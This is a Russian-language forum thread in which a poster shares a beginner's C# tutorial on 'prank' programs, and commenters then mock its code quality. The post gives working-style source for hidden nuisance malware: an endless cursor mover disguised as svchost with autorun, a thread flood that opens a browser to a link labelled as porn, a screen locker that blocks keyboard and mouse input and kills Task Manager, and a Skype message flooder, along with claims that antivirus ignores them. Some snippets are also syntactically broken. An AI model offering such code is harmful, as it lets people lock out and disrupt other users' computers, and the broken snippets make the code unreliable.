Здравствуйте, я решил вот написать статью (статьи) по созданию различных приколов, а то и вирусов на C#. Данный язык радует своей простотой при написании интерфейса, описания событий и логики. Но он выполняется под CLR и не имеет не обходимых функций для хакера. Поэтому сразу скажу - статья не совсем про хак, хотя может пригодиться везде. Статья для новичков! Приступим: Для создания программы шутки необходимо продумать ее логику и скрыть(хотя бы от глаз пользователя) в системе. Решение: Создаем WinForms проект и удаляем класс form1, в файле program удаляем запуск формы(три строчки в главном методе). Теперь логику пишем туда. Самое тупое, что туда можно прописать - это двигатель курсора: static void Method() { Random rnd = new Random(); int y = System.Windows.Forms.SystemInformation.PrimaryMonitorSize.Height; //высота экрана int x = System.Windows.Forms.SystemInformation.PrimaryMonitorSize.Width; //ширина экрана while (true) //бесконечность { System.Threading.Thread.Sleep(100); // уснуть нашей проге (мили секунды) Cursor.Position = new System.Drawing.Point(rnd.Next(0, x), rnd.Next(0, y)); } } Если запустить такую фигню в системе с именем svchost - она проработает долго, причем можно легко добавить её в реестр авто запуска, но это к разряду шутки. А что бы скрыть от опытного пользователя(диспетчера задач виндовс) необходимо полазить по ачату(мой ник был вроде wwwDim0N_). Я примерно год назад отвечал человеку, как запросто скрыть прогу от диспетчера. Там довольно много кода, а искать мне лень. Можно разнообразить таскание мышки с помощью формулы круга и изменять положение мышки по ней, а коэффициентом изменять радиус, получается красиво - писать не буду, дам вам самим подумать( я нечто подобное делал на XNA) Теперь давайте создадим нечто пострашнее: а именно пародию на fork-bomba Для незнающих - fork - бомба, такая программка, которая съедает все вычислительные ресурсы компа, попросту тормозит его. Сделать на основе "браузера" очень легко. В наш вирус пишем вместо всего мышечного вот это static void Main() { for (int ii = 0; ii < 100; ii++) // нужное кол-во процессов { Thread t = new Thread(ForkBomb); // собственно поток t.Start(@"http:\\www.google.ru\cse?cx=partner-pub-6889055053848200%3A4865901691&ie=UTF-8&siteurl=livetool.ru\test\test.php&sa=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&q=gjhyj+gj+heccrb#gsc.tab=0&gsc.q=gjhyj%20gj%20heccrb&gsc.page=1"); //ссылка на порно } } static void ForkBomb(object str) //наш метод выполняемы в отдельном потоке, он тупо откроет вашу страницу в браузере по умолчанию { Process procc = new Process(); ProcessStartInfo info = new ProcessStartInfo((string)str); procc.StartInfo = info; procc.EnableRaisingEvents = true; procc.Start(); } Не забудьте подключить namespace для работы с потоками. Так, теперь вы умеете скрывать свои программы в системе и по простому вырубать пользователя. Пришло время моего анти CSS приложения, которое я писал очень давно. Смысл вот в чем: когда я был маленький и любил играть в контру, некотрые друзья играли с читами, ну я решил им испортить жизнь. Я написал маленькую прогу, которая при первом запуске отображала баннер и блокировала комп, а при других - вырубала контру через случайные промежутки времени. Вывести баннер - просто. Вы создаете WinForms, и управляете им через класс programm static void Main() { RegistryKey parametr = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\"); if (parametr.GetValue("one", null) == null) //собственно проверка { parametr.SetValue("one", "dima"); Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } else { // здесь отрубаем контру по рандомному времени } } На форму я бросил только таймер и включил его с минимальным времен (1). Это таймер попросту отключал диспетчер п.с. Для людей смыслящих - код писал очень давно, а использование таймера выгодно, как более понятное(чем события) и попросту нам пофиг на ресурсы системы Вот этим отрубается клава и мышь. [return: MarshalAs(UnmanagedType.Bool)] [DllImport("user32", CharSet = CharSet.Auto, ExactSpelling = true)] public static extern bool BlockInput([In, MarshalAs(UnmanagedType.Bool)] bool fBlockIt); А вот это висит в таймере, желательно объявить переменную processes заранее System.Diagnostics.Process[] processes; processes = System.Diagnostics.Process.GetProcesses(); foreach (System.Diagnostics.Process instance in processes) { if (instance.ProcessName.ToLower() == "taskmgr") { instance.Kill(); instance.WaitForExit(); break; } } В принципе это все) Осталось вызвать в FormLoad на хук BlockInput(true); и написать код закачивающий наше творчество куда угодно и автозапуск. Антивирусы на этакое детство не реагируют - все методы разрешены, если конечно копировать нормально. У меня за всею жизнь каспер ругался только разок на раскопирование файла по системе. Ну и на полседок напишу простейший флудер для skype. регестрируем библиотеку regsvr32 “i:\skype4com.dll” , скачать ее можно, как с сайта skype, так и на гуглить. И пишем код для WinForms, собственно подключив эту библиотку и прописав namespace. Skype skype ; bool stat = false; Это в FormLoad try { skype = new Skype(); skype.Attach(5, true); stat = true; } catch{stat = false} list<string> lHandle = new list<string(); for (int i = 1; i < skype.Friends.Count + 1; i++) { lHandle.Add(skype.Friends.Handle); } А для кнопки пишем следующий код( в обработчик нажатия) string name = lHandle[0]; //индекс нашего друга int replay=(int) numericUpDown3.Value; //первый множитель, распаковка типа(это я про скобки с int) int count =(int)numericUpDown2.Value;//второй string text = textBox2.Text;//текст System.Threading.Thread t = new System.Threading.Thread(delegate() { ThreadOur(name, replay, count, text); }); t.IsBackground = true; t.Start(); А вот неизвестный вам доселе метод ThreadOur: void ThreadOur(string name,int replay,int count,string text) { for (int j = 0; j <replay ; j++) { System.Threading.Thread.Sleep(100); for (int i = 0; i <count ; i++) { skype.SendMessage(name,text); } } } Самая мнтересная строчка в коде t = new System.Threading.Thread(delegate() { ThreadOur(name, replay, count, text); }); Сейчас объясню. У нас параметризованный метод, следовательно просто так в создание потока мы его не загнем. Но конструктор потока принимает делегат, а это существенно упрощает проблему - в C# давным давно появились анонимные методы (со 2 или 3 версии??подскажет кто?) Вот мы его и создаем - делегат с анонимным методом(в общем просто анонимный метод) и передаем конструктору. Все, теперь и письма посланы и форма работает. Так а теперь ваши комментарии. Если кто попросит напишу еще несколько статей, и надеюсь, что вы посетите вот эту тему : http://forum.antichat.ru/thread312481.html Все наилучшего кода люди! и помните - вирусы - плохо, а прикольнуться всегда можно.
Благодаря таким статьям новички кроме тупого копипаста них*я не научаться. На каких новичков эта статья ориентирована? На тех, которые не знают, что такое объект, метод, класс, параметр, пространство имени и тд? Чему учит статья? Тупое повторение кода по твоему образу и подобию? Или же сей труд для "продвинутых новичков", которые хелло ворлд написали?
Да пусть хоть хеллоу ворлд, зато им это понравиться и они начнут учить дальше. Есть реальные примеры ( у меня знакомый хотел выучить, но было лень, я ему показал несколько подобных вещей и он их переделав начал учить, сейчас здал множество экзаменов на intuit, и учить ASP
Для программ-не шуток продумывать логику не обязательно. Создавать пустой проект нам запрещает религия. Всегда нужно брать за основу наименее пригодный для этого стандартный шаблон, а потом все из него выкидывать. Спасибо, что просветил. Я прямо-таки не знаю, что мне делать с этим сакральным знанием - "поройся на форуме, вдруг на твой вопрос уже отвечал вроде wwwDim0N_" Я совершенно не понял, как связаны формула круга и XNA. А если бы была формула эллипса - ты бы использовал DX11? Ну а для ромба со вписанной окружностью вообще пришлось бы писать свой рейтрейсер, чай, дело-то непростое. Смыслящие люди в теме присутствуют? Если да, то поясните мне, пожалуйста, что эта фраза (вернее, набор слов) означает. Я-то никчемный человек, мне такое не под силу понять... Распаковка типа? Фигасе, я о таких премудростях даже не слышал. Пошел Рихтера почитал - даже Рихтер ничего про распаковку типов не пишет, только про упаковку/распаковку объектов, да еще про приведения типов всякие. Наверно, "распаковка типа" - это что-то очень крутое, такими приемами, видимо, только хакеры владеют. В любом случае, спасибо, что просветил! ParameterizedThreadStart? Не, не слышал. Со второй, как мне услужливо подсказывают википедия и Рихтер.
ТС. ничего личного, но больше не пиши ничего. пишешь такую ахинею, сам небось только прочел книгу из говносерии: ЯП глазами хакера, там такое гуано поощряется.
почитай 98 страницу справочника C#3.0 Братьев Албахари. Вопрос где, собственно говнокод? пример-ошибка-пояснение И ни о каком хаке речь не идет.
согласен, просто изначально думал на тему вирусов написать, а написал по поводу программ шуток, в общем-то.
ты фленова перечитался) по сабжу: все что ты навалял - шлак. может небыло бы шлаком если бы хоть базово описал все зачем и почему делается. а так если пипл не шарит строку вывести в месджбокс, смысла от твоего мегакодинга для начинающих хакирофф нету. описал бы что нить на подобии обхода UAC под дотнетом, и т.д.) тогда неплохой алгоритм можно и заюзать у себя. )
Спасибо, я уж лучше Рихтера почитаю, он по крайней мере вменяем и не обзывает "распаковкой типа" банальный каст. Извини, я забыл тег <sarcasm> Всегда пожалуйста. Ты, уподобившись макаке, освоившей науку очистки бананов от кожуры и тараканьих фекалий, плодишь целую сотню потоков. Каждый из них реально отработает дай боже пару миллисекунд и вылетит, ибо Process.Start() неблокирующий. А теперь прикинь накладные расходы на создание сотни потоков (а у каждого, кстати, есть свой стек на мегабайт, который надо выделить...), да еще приплюсуй потуги планировщика задач заставить всю эту горку объедков петь и плясать. Ты, быть может, спросишь меня - а как же надо было сделать? А надо было каждую из задачек пихать в тредпул, только и всего. Вагон однотипных задач, отрабатывающих доли секунды - это рай для тредпула. А вот еще один поучительный пример мучительного кода: Ты снова по каждому чиху плодишь по потоку, который отрабатывает долю секунды и вылетает. Да еще хитропопо делаешь его фоновым. Но это же снова отличный пример использования тредпула! А теперь посмотри в мои широко открытые 0_0 глаза и скажи - ну разве это не говнокод?
Смысл был повесить комп. Тогда почему нет? П.С. Честно с потоками много не работал (максимум 2-3 потока в программе)
Я на шарпе не кодю, но после того, как ты банальное преведение типов распаковкой обозвал со ссылкой на Албахари, я бы другую литературу точно почитал.
Нет. Если у тебя есть 26 длительных задач - что произойдет? А произойдет вот что: тредпул возьмет на обработку 25 задач, подождет секунду, увидит, что очередь задач не пуста и создат еще один поток. А если у тебя есть 27 длительных задач? То же самое, только ожиданий будет два... Тредпул как раз-таки предназначен для быстрых операций, т.к. он позволяет убрать затраты на старт потока. А для длительных операций лучше создавать поток руками, т.к. затраты времени на старт потока не будут играть никакой заметной роли. А теперь еще вспомни, что тредпул используется не только твоим кодом, но и библиотечным - банальный прием: таймер - его коллбек будет дергаться не напрямую, а через тредпул. В общем, матчасть подучи. Если бы комп вешался от одного факта наличия говнокода, то половина софтописателей сдохла бы от голода. Ну 2-3 потока - это фигня, я вот делал 1000 потоков, только не в одной программе, а в 1000. Серьезно, какая нафик разница, с каким числом потоков ты работал? Дело сводится к пониманию принципа, коего (понимания, а не принципа, хотя...) у тебя не имеется.